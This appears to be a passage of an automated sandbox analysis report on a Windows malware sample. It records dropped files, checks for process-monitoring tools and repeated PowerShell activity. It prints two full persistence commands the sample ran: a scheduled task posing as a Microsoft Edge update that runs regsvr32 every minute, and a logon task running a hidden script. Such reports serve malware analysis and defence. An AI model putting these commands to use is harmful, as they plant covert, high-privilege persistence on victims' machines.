Source: C:\Users\user\AppData\Local\Temp\is-UKBVS.tmp\8b5cf17642.tmp	File created: C:\Users\user\AppData\Local\Temp\is-7HJN1.tmp\_isetup\_shfoldr.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1062805001\e18d636f08.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1062804001\8b5cf17642.exe	File created: C:\Users\user\AppData\Local\Temp\is-G65QK.tmp\8b5cf17642.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-G65QK.tmp\8b5cf17642.tmp	File created: C:\Users\user\AppData\Local\is-4HD48.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\764661\Macromedia.com	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-G65QK.tmp\8b5cf17642.tmp	File created: C:\Users\user\AppData\Local\Temp\is-Q515F.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-G65QK.tmp\8b5cf17642.tmp	File created: C:\Users\user\AppData\Roaming\is-0PAAE.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-UKBVS.tmp\8b5cf17642.tmp	File created: C:\Users\user\AppData\Local\Temp\is-7HJN1.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-G65QK.tmp\8b5cf17642.tmp	File created: C:\Users\user\AppData\Local\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File created: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9H3TYFD3\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-G65QK.tmp\8b5cf17642.tmp	File created: C:\Users\user\AppData\Local\Temp\is-Q515F.tmp\_isetup\_shfoldr.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1062803001\f10455927a.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1062803001\f10455927a.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1062803001\f10455927a.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1062803001\f10455927a.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1062803001\f10455927a.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Uses Register-ScheduledTask to add task schedules

Source: C:\Windows\System32\regsvr32.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/S /i:SYNC C:\Users\user\AppData\Roaming\uxtheme_2.drv\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{6D027233-3291-42EE-96A1-B6EF95549711}' -Description 'MicrosoftEdgeUpdateTaskMachineUA' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0) -RunLevel Highest"

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\Temp\764661\Macromedia.com

Process created: C:\Windows\SysWOW64\schtasks.exe schtasks.exe /create /tn "AchillesGuard" /tr "wscript //B 'C:\Users\user\AppData\Local\GuardTech Solutions\AchillesGuard.js'" /sc onlogon /F /RL HIGHEST

Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\36469\Avoiding.com	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\36469\Avoiding.com	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\36469\Avoiding.com	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1062805001\e18d636f08.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1062805001\e18d636f08.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1062805001\e18d636f08.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1062805001\e18d636f08.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1062805001\e18d636f08.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1062805001\e18d636f08.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1062805001\e18d636f08.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1062805001\e18d636f08.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1062805001\e18d636f08.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1062805001\e18d636f08.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1062805001\e18d636f08.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1062805001\e18d636f08.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1062804001\8b5cf17642.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-UKBVS.tmp\8b5cf17642.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-UKBVS.tmp\8b5cf17642.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-UKBVS.tmp\8b5cf17642.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-UKBVS.tmp\8b5cf17642.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-UKBVS.tmp\8b5cf17642.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-UKBVS.tmp\8b5cf17642.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-UKBVS.tmp\8b5cf17642.tmp	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1062804001\8b5cf17642.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-G65QK.tmp\8b5cf17642.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-G65QK.tmp\8b5cf17642.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-G65QK.tmp\8b5cf17642.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-G65QK.tmp\8b5cf17642.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-G65QK.tmp\8b5cf17642.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-G65QK.tmp\8b5cf17642.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-G65QK.tmp\8b5cf17642.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-G65QK.tmp\8b5cf17642.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
